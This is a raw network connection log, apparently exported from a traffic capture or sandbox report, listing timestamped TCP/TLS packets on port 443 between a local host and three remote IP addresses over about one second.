Jan 8, 2025 15:44:42.028661013 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.028672934 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.028713942 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.028747082 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.028760910 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.028769970 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.028783083 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.028808117 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.028866053 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.028873920 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.029491901 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.029525995 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.029545069 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.029552937 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.029594898 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.029604912 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.029630899 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.029666901 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.029856920 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.029869080 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.069264889 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069313049 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069341898 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.069351912 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069361925 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069386005 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.069408894 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.069411993 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069622040 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069660902 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.069665909 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069679976 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069698095 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.069705963 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069730997 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.069761038 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069797993 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.069802046 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069809914 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069839954 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.069845915 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.069855928 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.070491076 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.070539951 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.070545912 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.070569992 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.070580006 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.070585012 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.070604086 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.070609093 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.070652962 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.070657015 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.070691109 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.070698977 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.070748091 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.070844889 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.070856094 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.071233034 CET	49800	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.071263075 CET	443	49800	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.071333885 CET	49800	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.071790934 CET	49800	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.071803093 CET	443	49800	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.131531954 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.131606102 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.131637096 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.131650925 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.131659985 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.131711960 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.131717920 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.171262980 CET	49678	443	192.168.2.16	20.189.173.10
Jan 8, 2025 15:44:42.187221050 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.209636927 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.209935904 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.209944963 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.210930109 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.210999012 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.211354971 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.211430073 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.211536884 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.211544037 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.218755007 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.243685961 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.243957996 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.243978024 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.245162010 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.245656967 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.245656967 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.245737076 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.245939016 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.245949984 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.251231909 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.255774975 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.267215014 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.267221928 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.299218893 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.299833059 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.315236092 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.364444971 CET	443	49797	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.364784002 CET	49797	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.364809990 CET	443	49797	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.365186930 CET	443	49797	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.365525961 CET	49797	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.365585089 CET	443	49797	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.365691900 CET	49797	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.404491901 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.404803991 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.404829979 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.405229092 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.405823946 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.405920029 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.406001091 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.407334089 CET	443	49797	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.451327085 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.503563881 CET	443	49799	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.503920078 CET	49799	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.503937960 CET	443	49799	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.504950047 CET	443	49799	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.505018950 CET	49799	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.505419016 CET	49799	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.505435944 CET	49799	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.505479097 CET	443	49799	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.505486012 CET	49799	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.505541086 CET	49799	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.505837917 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.505893946 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.505978107 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.506191015 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.506210089 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.519309998 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.519388914 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.519443035 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.519462109 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.519768953 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.519802094 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.519818068 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.519825935 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.519866943 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.520404100 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.520494938 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.520525932 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.520539045 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.520546913 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.520590067 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.520596981 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.527713060 CET	443	49800	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.527966976 CET	49800	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.527977943 CET	443	49800	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.528865099 CET	443	49800	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.528937101 CET	49800	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.529256105 CET	49800	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.529295921 CET	49800	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.529325962 CET	443	49800	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.529345036 CET	49800	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.529383898 CET	49800	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.529833078 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.529855013 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.529922962 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.530186892 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.530196905 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.570204020 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.570216894 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.608305931 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.608381033 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.608382940 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.608402967 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.608429909 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.608441114 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.608448982 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.608485937 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.608493090 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.608500004 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.608545065 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.608551025 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.608589888 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.608628035 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.608635902 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.627140045 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.627208948 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.627243996 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.627262115 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.627276897 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.627319098 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.627367020 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.627425909 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.627466917 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.627471924 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.627480030 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.627512932 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.628207922 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.628282070 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.628315926 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.628324986 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.628330946 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.628371954 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.628391027 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.629127979 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.629163980 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.629189014 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.629194021 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.629231930 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.629236937 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.651061058 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.682212114 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.682219028 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714248896 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714288950 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714320898 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714333057 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.714339972 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714384079 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.714432001 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714472055 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.714478016 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714553118 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714587927 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714596987 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.714603901 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714637041 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.714668989 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714745998 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.714783907 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.714790106 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.715440035 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.715476990 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.715487003 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.715492964 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.715532064 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.715537071 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.715606928 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.715651035 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.715656042 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.715692043 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.716466904 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.716511011 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.716520071 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.716526985 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.716556072 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.716569901 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.717420101 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.717464924 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.717474937 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.717478991 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.717510939 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.717529058 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.717571020 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.717576981 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.717623949 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.717665911 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.718456984 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.718467951 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.795512915 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.795573950 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.795631886 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.795650005 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.795769930 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.795800924 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.795806885 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.795814991 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.795851946 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.795857906 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.795866013 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.795913935 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.795921087 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.796555042 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.796591043 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.796610117 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.796619892 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.796655893 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.796670914 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.796678066 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.796705961 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.796715975 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.796721935 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.796770096 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.796778917 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.797652006 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.797710896 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.797723055 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.809554100 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.820458889 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.841639996 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.857338905 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.857357025 CET	443	49792	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.873307943 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.873338938 CET	443	49791	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:42.884269953 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.884283066 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.884363890 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.904329062 CET	49792	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.920329094 CET	49791	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:42.966335058 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.966623068 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.966641903 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.967020988 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.971997976 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:42.972071886 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:42.972187996 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.002273083 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.007392883 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.007417917 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.007767916 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.009922981 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.010061979 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.010473013 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.019326925 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.051332951 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.054471016 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.054481983 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.054524899 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.054538965 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.054553986 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.054584026 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.054600954 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.055042982 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.055129051 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.055180073 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.055191994 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.055202007 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.055238008 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.055809975 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.055854082 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.055871964 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.055877924 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.055888891 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.055893898 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.055917978 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.055922985 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.055948019 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.064682007 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.064732075 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.064739943 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.064790964 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.064793110 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.064805984 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.064835072 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.065268993 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.065313101 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.065320969 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.065367937 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.065599918 CET	443	49786	172.67.144.59	192.168.2.16
